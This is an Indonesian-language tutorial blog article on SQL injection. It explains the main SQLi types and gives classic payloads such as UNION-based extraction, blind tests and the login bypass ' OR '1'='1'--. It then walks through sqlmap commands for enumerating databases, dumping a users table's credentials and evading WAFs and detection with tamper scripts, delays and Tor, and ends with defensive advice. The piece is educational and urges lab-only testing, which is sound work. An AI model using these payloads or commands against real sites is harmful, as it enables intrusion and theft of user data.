SQL Injection adalah salah satu celah keamanan web paling berbahaya yang masih sering ditemui hingga saat ini. Bayangkan seorang penyerang memasukkan kode SQL berbahaya ke dalam formulir login situs, dan tiba-tiba mereka dapat mengakses data pengguna secara bebas. Dalam artikel ini kita akan mengupas tuntas SQLi — mulai dari contoh payload umum hingga praktek penggunaan sqlmap, tool otomatisasi eksploitasi SQLi yang banyak dipakai pentester. Artikel ini bersifat edukatif; selalu uji pada lingkungan lab yang legal (misalnya DVWA atau bWAPP) dan hindari penyalahgunaan di sistem nyata.

Apa itu SQL Injection?

SQL Injection (SQLi) adalah teknik menyisipkan perintah SQL berbahaya ke dalam input aplikasi web, sehingga aplikasi tersebut mengeksekusi perintah tersebut pada database. Dampaknya bisa serius: penyerang bisa membaca, mengubah, atau menghapus data sensitif seolah-olah ia memiliki akses administrator. OWASP menjelaskan bahwa SQLi memungkinkan penyerang "mengganggu query yang dibuat aplikasi ke databasenya" sehingga data tersembunyi bisa bocor. Misalnya, jika aplikasi membangun query tanpa validasi, penyisipan OR 1=1 dalam parameter bisa membuat query selalu "benar" dan mengembalikan semua data.

Jenis-Jenis SQL Injection

Ada berbagai teknik SQLi berdasarkan bagaimana data dieksfiltrasi:

  • in-band (Classic) — Data keluar melalui jalur yang sama dengan input. Contoh utama: union-based (UNION SELECT) dan error-based. Pada union-based, penyerang menambahkan payload UNION SELECT untuk gabungkan hasil tabel lain ke query asli. Misal:
http://example.com/item?id=1' UNION SELECT username,password FROM users --

menyebabkan aplikasi menampilkan user/password dari tabel users

  • Error-based — Penyerang memicu error database untuk mendapatkan informasi. Misalnya:
id=1 AND 1=CONVERT(int,(SELECT @@version))--

Jika query ini memicu pesan error, pesan tersebut bisa memuat informasi versi database atau struktur tabel. Strategi ini memanfaatkan error message sebagai "bocoran" data.

  • Inferential (Blind) SQLi — Tidak ada data langsung tampil. Penyerang mengirimkan query true/false atau time delay dan mengamati respon untuk menebak data:
  • Boolean-based blind — memasukkan kondisi yang bernilai true (AND 1=1) atau false (AND 1=2) dan membandingkan perbedaan pada respons aplikasi. Misalnya:
http://example.com/item?id=1 AND 1=1--   (normal)
http://example.com/item?id=1 AND 1=2--   (berbeda)

Dari perbedaan inilah isi database ditebak langkah demi langkah

  • Time-based blind — menggunakan fungsi delay (misalnya SLEEP(5)) dalam query. Jika respon aplikasi tertunda, berarti kondisi tertentu terpenuhi. Contoh:
id=1 AND SLEEP(5) --

Out-of-Band (OOB) SQLi — Data dieksfiltrasi lewat saluran non-standar (misal DNS atau HTTP request ke server penyerang). Ini hanya bisa jika database bisa melakukan koneksi keluar (contoh: memuat file via LOAD_FILE() atau xp_cmdshell). Teknik OOB jarang, tapi berguna jika aplikasi tidak menampilkan error atau delay.

Secara ringkas, SQLi selalu mengubah logika query. Sebagai contoh, OWASP menampilkan payload klasik untuk bypass login:

' OR '1'='1'--

Payload ini membuat kondisi selalu true sehingga pengecekan login terlewati

Contoh Payload Umum SQLi

Berikut beberapa payload SQLi yang sering dipakai (menurut cheat sheet terkemuka), dikelompokkan berdasarkan tujuannya:

None
Gambar 2. payload SQLi sesuai dengan kategorinya

Setiap payload di atas harus disesuaikan dengan jenis database (MySQL, MSSQL, PostgreSQL, dll). Misalnya di MySQL sering digunakan -- sebagai komentar, sedangkan di SQL Server bisa pakai -- juga. Mengidentifikasi dulu DBMS target akan mempermudah pemilihan payload.

Tutorial Praktis: Menggunakan sqlmap

Sqlmap adalah tool open-source untuk mengotomasi eksploitasi SQLi. Sqlmap memudahkan pentester memeriksa berbagai macam teknik SQLi tanpa harus menulis payload manual satu-per-satu. Di bawah ini adalah panduan langkah demi langkah penggunaan sqlmap:

Instalasi sqlmap

Sqlmap sudah tersedia di banyak distro pentesting (misalnya Kali Linux). Di Debian/Ubuntu, dapat diinstal dengan:

sudo apt-get update
sudo apt-get install sqlmap

Atau lewat pip:

pip install sqlmap

Setelah terinstal, perintah sqlmap seharusnya bisa dijalankan.

Deteksi & Payload Otomatis

Pertama, tentukan target rentan. Misal ada URL: http://vulnerable.com/item.php?id=1. Cukup berikan url tersebut ke sqlmap:

sqlmap -u "http://vulnerable.com/item.php?id=1" --batch

Opsi --batch membuat sqlmap tidak menunggu konfirmasi dan menggunakan default. Sqlmap akan menguji parameter id, mencoba berbagai payload, dan melaporkan jika rentan. Contoh keluaran yang mungkin muncul:

[INFO] the back-end DBMS is MySQL
[INFO] fetching database names
available databases [3]:
[*] information_schema
[*] mysql
[*] testdb

Autentikasi dan Form Login

Jika aplikasi menggunakan login form, sqlmap bisa mengotomasi login dengan opsi --forms dan cookie. Misalnya:

sqlmap -u "http://site.com/login.php" --forms --cookie="PHPSESSID=abcdef123456" --batch

Opsi --forms membuat sqlmap mencari form HTML, dan kita bisa memasukkan username=admin&password=...' ke bagian POST. Jika login butuh autentikasi HTTP Basic, gunakan --auth-type=Basic --auth-cred=user:pass.

Enumerasi Database, Tabel, dan Kolom

Setelah menemukan vulnerability, kita dapat mengekstrak struktur database. Contoh menggunakan MySQL:

  1. Daftar Database
sqlmap -u "http://vulnerable.com/item.php?id=1" --dbs --batch

Keluaran tipikal:

[INFO] the back-end DBMS is MySQL
[INFO] fetching database names
available databases [3]:
[*] information_schema
[*] mysql
[*] testdb

2. Daftar Tabel

Pilih satu database (misal testdb):

sqlmap -u "http://vulnerable.com/item.php?id=1" -D testdb --tables --batch

Contoh keluaran:

[INFO] fetching tables for database: testdb
[INFO] table 'users'
[INFO] table 'products'

3. Daftar Kolom

sqlmap -u "http://vulnerable.com/item.php?id=1" -D testdb -T users --columns --batch

4. Dump Data

sqlmap -u "http://vulnerable.com/item.php?id=1" -D testdb -T users -C id,username,password --dump --batch

Sqlmap akan menampilkan isi kolom id, username, password dari tabel users. Contoh output:

[INFO] fetching entries for table 'users'
Database: testdb
Table: users
[+]-----------------------------------------------------------------+
| id  | username | password                                      |
+-----------------------------------------------------------------+
| 1   | admin    | e99a18c428cb38d5f260853678922e03          |
| 2   | guest    | 5f4dcc3b5aa765d61d8327deb882cf99          |
+-----------------------------------------------------------------+

Nilai password di atas kemungkinan merupakan hash MD5 (hanya contoh).

Penyesuaian Laju & Evasion

  • Delay: Jika aplikasi terlalu cepat, tambahkan jeda antar-request agar tidak terdeteksi sebagai bot:
sqlmap -u "..." --delay=2
  • Random User-Agent: Gunakan --random-agent untuk mengacak header browser dan menghindari deteksi awal.
  • Tamper Scripts: Untuk menembus WAF yang mendeteksi kata kunci, sqlmap menyediakan tamper scripts. Contohnya, space2comment.py mengganti spasi dengan komentar SQL, atau randomcase.py mengacak huruf besar/kecil. Contoh penggunaan:
sqlmap -u "..." --tamper=space2comment,randomcase

Skrip ini dapat membantu melewati filter sederhana. (Daftar lengkap skrip ada di direktori tamper/ sqlmap.)

  • Limit Thread: Jika server rentan overload, turunkan --threads.
  • Proxy/Tor: Gunakan --proxy=http://127.0.0.1:8080 atau --tor untuk melewati pembatasan jaringan.

Tabel Payload dan Contoh sqlmap Flags

None
Gambar 2.Pyload Manual sqli
None
Gambar 3. Pyload Sqlamp

Kesimpulan

SQL Injection tetap menjadi ancaman serius karena mudah ditemukan dan berpotensi merugikan. Dengan mengetahui jenis-jenis serangan, payload umum, dan tool seperti sqlmap, seorang pentester pemula dapat mulai bereksperimen dengan aman di lab. Namun ingatlah selalu prinsip etika: uji di lingkungan yang legal dan laporkan setiap kelemahan pada pemilik sistem.

Untuk menjaga keamanan aplikasi, developer wajib menerapkan prepared statements, validasi input ketat, dan menerapkan prinsip least privilege. Implementasikan juga WAF sebagai lapisan tambahan. Dengan begitu, aksi injeksi SQL akan sulit menembus pertahanan aplikasi

Sumber: Artikel ini disusun berdasarkan sumber tepercaya seperti dokumentasi OWASP, cheat sheet SQLi Invicti, panduan sqlmap resmi, serta berbagai blog dan referensi keamanan terkini